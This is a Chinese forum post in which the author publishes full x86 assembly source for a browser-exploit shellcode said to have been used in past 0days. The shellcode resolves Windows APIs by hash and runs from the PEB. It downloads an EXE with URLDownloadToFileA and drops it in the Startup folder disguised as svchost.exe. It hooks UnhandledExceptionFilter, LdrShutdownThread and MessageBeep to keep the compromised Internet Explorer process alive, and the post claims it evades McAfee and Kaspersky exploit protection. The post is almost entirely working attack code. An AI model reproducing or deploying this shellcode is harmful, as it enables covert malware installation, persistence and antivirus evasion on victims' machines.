大约10年前研究出来的东西,当年用在一些闹得满城风雨的0day里面,好久没发过贴了,今天把它公开了,几年前看到有人对我这个shellcode的简单分析,今天把源代码公开了,不死技巧嘛,看看代码就懂了:)
不死技巧要用到的API
kernel.dll
VirtualProtect HOOK前改内存属性
UnhandledExceptionFilter 被HOOK
loadlibrarya
getprocaddress 得到shdocvw中的65H调用
GetCurrentThreadId
urlmon.dll
urldownloadtofilea
user32.dll
EnumWindows
GetClassName
GetWindowThreadProcessId
DestroyWindow
MessageBeep 被HOOK
ntdll.dll
LdrShutdownThread 被HOOK
shell32.dll
SHGetSpecialFolderPath 得到启动目录路径
shdocvw.dll
65h号功能
---------------------------------------------------------
;这个可以过MCAFEE和KABA的防溢出 2008年11月3日
;下载到启动目录,恢复IE不让挂掉
.586
.model flat,stdcall
option casemap:none
include c:\masm32\include\windows.inc
include c:\masm32\include\kernel32.inc
includelib c:\masm32\lib\kernel32.lib
include c:\masm32\include\user32.inc
includelib c:\masm32\lib\user32.lib .data
shellcodebuffer db 2046 dup(0)
downshell db 'down exploit',0
.code
start:
invoke MessageBoxA,0,offset downshell,offset downshell,1
invoke RtlMoveMemory,offset shellcodebuffer,00401040H,1024
mov eax,offset shellcodebuffer
jmp eax
somenops db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h
;上面的代码是把在代码段中的shellcode移动数据段中执行,模拟真实的shellcode执行环境
call @@copysctopeb
@@copysctopeb:
pop esi
assume fs:nothing
mov edi,fs:[30h]
add edi,800h
mov eax,edi
add eax,1dh
mov ecx,120h ;SC+URL的长度120h*4
@@copysc:
movsd
loop @@copysc
jmp eax ;在PEB中执行SC
@@shellcodebegin:
call @@beginaddr
@@beginaddr:
PUSH 07H ;要调用的API函数个数
jmp @@realshellcode
myVirtualProtect dd 07946c61bh
myUEF dd 036ef56edh
myGetProcAddress dd 07c0dfcaah
myGetCurtThreadId dd 035bbf99eh
mysleep dd 0db2d49b0h
myExitProcess dd 073e2d87eh
myLoadLibraryA dd 0ec0e4e8eh
dll db 'uRLMON',0,0
myUrlDownFile dd 0702f1a36h
dll2 db 'USER32',0,0
myEnumWindows dd 0021e7a1ah
myGetClassNameA dd 0b3c52468h
myGetWndThdProcId dd 0a3e2c997h
myDestroyWindow dd 094305be0h
myMessageBeep dd 0bbb5a057h
dll3 db 'NTDLL',0,0,0
myLdrShutdownThrd dd 002819759h
dll4 db 'shell32',0
mySHGetSpeFdPath dd 015cb0212h
dll5 db 'Shdocvw',0
myfun115 db 'F.ZH'
@@realshellcode:
POP ECX
POP EDI
SCASD ;edi+4
;得到kernel32.dll基地址
db 67h,64h,0A1h,30h,00h
mov eax, [eax+0cH]
mov esi, [eax+1cH]
lodsd
mov ebp, [eax+08H] ;EBP中存放kernel32.dll的基地址
;处理导出表
@@next2:
PUSH ECX
@@next3:
MOV ESI,[EBP+3Ch]
MOV ESI,[EBP+ESI+78h]
ADD ESI,EBP
PUSH ESI
MOV ESI,[ESI+20h]
ADD ESI,EBP
XOR ECX,ECX
DEC ECX
@@next:
INC ECX
LODSD
ADD EAX,EBP
XOR EBX,EBX
@@again:
MOVSX EDX,BYTE PTR [EAX]
CMP DL,DH
JZ @@end
ROR EBX,0Dh
ADD EBX,EDX
INC EAX
JMP @@again
@@end:
CMP EBX,[EDI]
JNZ @@next
POP ESI
MOV EBX,[ESI+24h]
ADD EBX,EBP
MOV CX,WORD PTR [ECX*2+EBX]
MOV EBX,[ESI+1Ch]
ADD EBX,EBP
MOV EAX,[ECX*4+EBX]
ADD EAX,EBP
STOSD
POP ECX
loop @@next2
mov ecx,[edi]
cmp cl,'S'
jz @@getdll5
cmp cl,'u'
jz @@nextret
cmp cl,'U'
jz @@getdll2
cmp cl,'N'
jz @@getdll3
cmp cl,'s'
jz @@getdll4
@@nextret:
mov cx,WORD PTR [ebp] ;ebp为kernel32的基地址
inc ebp
CMP CX,0C340H
JNZ @@nextret
mov ecx,ebp
dec ecx
mov dword ptr [edi-20h],ecx ;KERNEL32中找到的INC EAX,RET指令的地址存放在SC开头
CALL @@nextsc
@@nextsc:
add dword ptr [esp],08H
PUSH EDI
push ecx
jmp EAX ;eax为loadlibrary
dec eax
xchg eax,ebp
scasd
scasd
push 01 ;UrlMon.dll
jmp @@next3
@@getdll2:
CALL @@nextsc2
@@nextsc2:
add dword ptr [esp],0BH
PUSH EDI
push [edi-2ch]
jmp dword ptr [edi-10h] ;调用LoadlibraryA
dec eax
xchg eax,ebp
scasd
scasd
push 05 ;USER32.DLL
jmp @@next3 @@getdll3:
CALL @@nextsc3
@@nextsc3:
add dword ptr [esp],0BH
PUSH EDI
push [edi-48h]
jmp dword ptr [edi-2Ch] ;调用LoadlibraryA
dec eax
xchg eax,ebp
scasd
scasd
push 01 ;NTDLL.DLL
jmp @@next3
@@getdll4:
CALL @@nextsc4
@@nextsc4:
add dword ptr [esp],0BH
PUSH EDI
push [edi-54h]
jmp dword ptr [edi-38h] ;调用LoadlibraryA
dec eax
xchg eax,ebp
scasd
scasd
push 01 ;shell32.dll
jmp @@next3
@@getdll5:
CALL @@nextsc5
@@nextsc5:
add dword ptr [esp],0BH
PUSH EDI ;shdocvw
push [edi-60h]
jmp dword ptr [edi-44h] ;调用LoadlibraryA
dec eax
scasd
scasd
CALL @@nextsc6
@@nextsc6:
add dword ptr [esp],0DH
PUSH 65h ;shdocvw中65H号功能
PUSH EAX ;shdocvw的基地址
push [edi-68h]
jmp dword ptr [edi-5ch] ;调用GetProcAddressA
dec eax
STOSD ;保存65号功能基地址 ;---------得到启动目录位置
push 0 ;不存在不创建
push 7 ;CSIDL_STARTUP
push edi ;保存位置
push 0 ;窗口句柄
call dword ptr [edi-10h]
;--------路径后面加上\svchost.exe
push edi
@@nextnull:
mov al,byte ptr [edi]
inc edi
cmp al,0
jnz @@nextnull
dec edi
mov dword ptr [edi],'cvs\' ;\svchost.exe
mov dword ptr [edi+04h],'tsoh'
mov dword ptr [edi+08h],'exe.'
mov byte ptr [edi+0ch],0
pop edi
;-------下载EXE---------------
xor edx,edx
push edx ;0
push edx ;0
push edi ;file=c:\a.exe
jmp @@downurl
@@urlapi:
push edx ;0
call dword ptr [edi-44h] ;URLDownloadToFileA,0,url,file=启动目录,0,0
;-----------edi重新指向SC开头--------------
sub edi,68h
;---------------------------------------------开始HOOK------------
;----------------HOOK UEF---------------------
;------------------------调用VirtualProtect改变内存属性----
mov eax,edi
sub eax,8
CALL @F
@@:
add dword ptr [esp],14H
push eax ;out参数
push 00000040h ;PAGE_EXECUTE_READWRITE
push 00001000h ;大小
push dword ptr [edi+4h] ;UEF所在地址
push dword ptr [edi-4H] ;返回地址
jmp dword ptr [EDI] ;VirtualProtect
;------------------------改写UEF入口代码-------------------
mov eax,dword ptr [edi+4h]
jmp @@myuef
@@setuef:
pop ecx
mov byte ptr [eax],0B8H ;mov xxxxx
mov dword ptr [eax+1],ecx
mov word ptr [eax+5],0E0FFH ;jmp eax
;------------------------调用VirtualProtect还原内存属性-----
mov eax,edi
sub eax,8
CALL @F
@@:
add dword ptr [esp],14H
push eax ;out参数
push 00000020h ;PAGE_EXECUTE_READ
push 00001000h ;大小
push dword ptr [edi+4h] ;UEF所在地址
push dword ptr [edi-4H] ;返回地址
jmp dword ptr [EDI] ;VirtualProtect
;----------------HOOK LdrShutdownThread
;------------------------调用VirtualProtect改变内存属性----
mov eax,edi
sub eax,8
CALL @F
@@:
add dword ptr [esp],14H
push eax ;out参数
push 00000040h ;PAGE_EXECUTE_READWRITE
push 00001000h ;大小
push dword ptr [edi+4ch] ;LdrShutdownThread所在地址
push dword ptr [edi-4H] ;返回地址
jmp dword ptr [EDI] ;VirtualProtect
;------------------------改写LdrShutdownThread入口代码-------------------
mov eax,dword ptr [edi+4ch]
jmp @@myclose
@@setclose:
pop ecx
mov byte ptr [eax],0B8H ;mov xxxxx
mov dword ptr [eax+1],ecx
mov word ptr [eax+5],0E0FFH ;jmp eax
;------------------------调用VirtualProtect还原内存属性-----
mov eax,edi
sub eax,8
CALL @F
@@:
add dword ptr [esp],14H
push eax ;out参数
push 00000020h ;PAGE_EXECUTE_READ
push 00001000h ;大小
push dword ptr [edi+4ch] ;LdrShutdownThread所在地址
push dword ptr [edi-4H] ;返回地址
jmp dword ptr [EDI] ;VirtualProtect
;----------------HOOK MessageBeep
;------------------------调用VirtualProtect改变内存属性----
mov eax,edi
sub eax,8
CALL @F
@@:
add dword ptr [esp],14H
push eax ;out参数
push 00000040h ;PAGE_EXECUTE_READWRITE
push 00001000h ;大小
push dword ptr [edi+40h] ;LdrShutdownThread所在地址
push dword ptr [edi-4H] ;返回地址
jmp dword ptr [EDI] ;VirtualProtect
;------------------------改写LdrShutdownThread入口代码-------------------
mov eax,dword ptr [edi+40h]
jmp @@myclose2
@@setclose2:
pop ecx
mov byte ptr [eax],0B8H ;mov xxxxx
mov dword ptr [eax+1],ecx
mov word ptr [eax+5],0E0FFH ;jmp eax
;------------------------调用VirtualProtect还原内存属性-----
mov eax,edi
sub eax,8
CALL @F
@@:
add dword ptr [esp],14H
push eax ;out参数
push 00000020h ;PAGE_EXECUTE_READ
push 00001000h ;大小
push dword ptr [edi+40h] ;LdrShutdownThread所在地址
push dword ptr [edi-4H] ;返回地址
jmp dword ptr [EDI] ;VirtualProtect
;invoke MessageBeep,1
;push 07c939126h
;ret
;-------------------------调用SHDOCVW中的65号功能,恢复IE进程
xor eax,eax
push eax
push eax
push eax
push eax
call dword ptr [edi+64h]
;-------HOOK结束---------------
;----------------------------- LdrShutdownThread 是在地址栏重新输入地址
@@myclose:
call @@setclose
PUSH EBX
PUSH EDI
PUSH ESI
XOR EAX,EAX
PUSH EAX
PUSH ESP
CALL @@getwndproc ;得到窗口处理函数
PUSH EAX
call @@gethere8
@@gethere8:
len=$-@@shellcodebegin
pop eax
sub eax,len
call dword ptr [eax+39h] ;ENUMWINDOW
CMP BYTE PTR [ESP],00
JA @@exitshutdownthread
XOR EDI,EDI
PUSH EDI
call @@gethere9
@@gethere9:
len=$-@@shellcodebegin
pop eax
sub eax,len
call dword ptr [eax+1dh] ;退出进程
@@exitshutdownthread:
POP EAX
POP ESI
POP EDI
POP EBX
RET
@@myclose2:
call @@setclose2
;------------------------------ 处理关闭IE窗口的代码 -----------
XOR EAX,EAX
PUSH EAX
PUSH ESP
CALL @@getwndproc ;得到窗口处理函数
PUSH EAX
call @@gethere1
@@gethere1:
len=$-@@shellcodebegin
pop eax
sub eax,len
call dword ptr [eax+39h] ;ENUMWINDOW
CMP BYTE PTR SS:[ESP],00 ;这个值是传给ENUMWNDPROC函数的第二个参数,是找到
JA @@gosleep ;类名叫IEFrame的计数器,如果大于0跳,如果等于0退出进程
XOR EDI,EDI
PUSH EDI
call @@gethere6
@@gethere6:
len=$-@@shellcodebegin
pop eax
sub eax,len
call dword ptr [eax+1dh] ;退出进程
@@gosleep:
PUSH 000000FFh ;等侍时间
call @@gethere7
@@gethere7:
len=$-@@shellcodebegin
pop eax
sub eax,len
call dword ptr [eax+19h] ;SLEEP 1/4秒
;------------------------------得到窗口处理函数入口地址---------------
@@getwndproc:
jmp @@getwndproc3
@@getwndproc2:
pop eax
ret
@@getwndproc3:
call @@getwndproc2
;----------------------------窗口处理函数入口--------------------------
PUSH ESI
PUSH EDI
SUB ESP,08
MOV EDI,ESP
PUSH 08
PUSH EDI ;保存得到的类名 IEFrame
PUSH DWORD PTR [EDI+14h] ;__,__,EDI,ESI,RET,HWND,VAR
call @@gethere2
@@gethere2:
len=$-@@shellcodebegin
pop eax
sub eax,len
call dword ptr [eax+3dh] ;GetClassNameA
MOV EDI,ESP
PUSH 00656D61h
PUSH 72464549h ;IEFrame
MOV ESI,ESP
MOV ECX,00000008
REPZ CMPSB
JNZ @@exitwndproc ;比较类名是否为IEFrame如果不是直接返回
PUSH 00
PUSH DWORD PTR [ESP+20h] ;窗口句柄
call @@gethere4
@@gethere4:
len=$-@@shellcodebegin
pop eax
sub eax,len
call dword ptr [eax+41h] ;GetWindowThreadProcessId
MOV EDI,EAX
call @@gethere5
@@gethere5:
len=$-@@shellcodebegin
pop eax
sub eax,len
call dword ptr [eax+15h] ;GetCurrentThreadId
CMP EDI,EAX
JZ @@destroywnd ;如果线程ID也相同,销毁窗口
MOV EAX,SS:[ESP+20h] ;如果不相同,ENUMEWINDOW传过来的参数是个计数器计数器加1,然后销毁
INC DWORD PTR DS:[EAX]
@@destroywnd:
PUSH DWORD PTR DS:[ESP+1Ch] ;窗口句柄
call @@gethere3
@@gethere3:
len=$-@@shellcodebegin
pop eax
sub eax,len
call dword ptr [eax+45h] ;DestroyWindow
@@exitwndproc:
ADD ESP,10h
POP EDI
POP ESI
MOV EAX,00000001
RET
;----------------------------UEF处理代码-------------------
@@myuef:
call @@setuef
mov eax,80040111h
ret 0ch
@@downurl:
call @@urlapi
url db 'http://127.0.0.1/wordexp.exe',0
somenops2 db 90h,90h,90h,90h,90h,90h,90h,90h,90h
invoke ExitProcess,0
end start
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)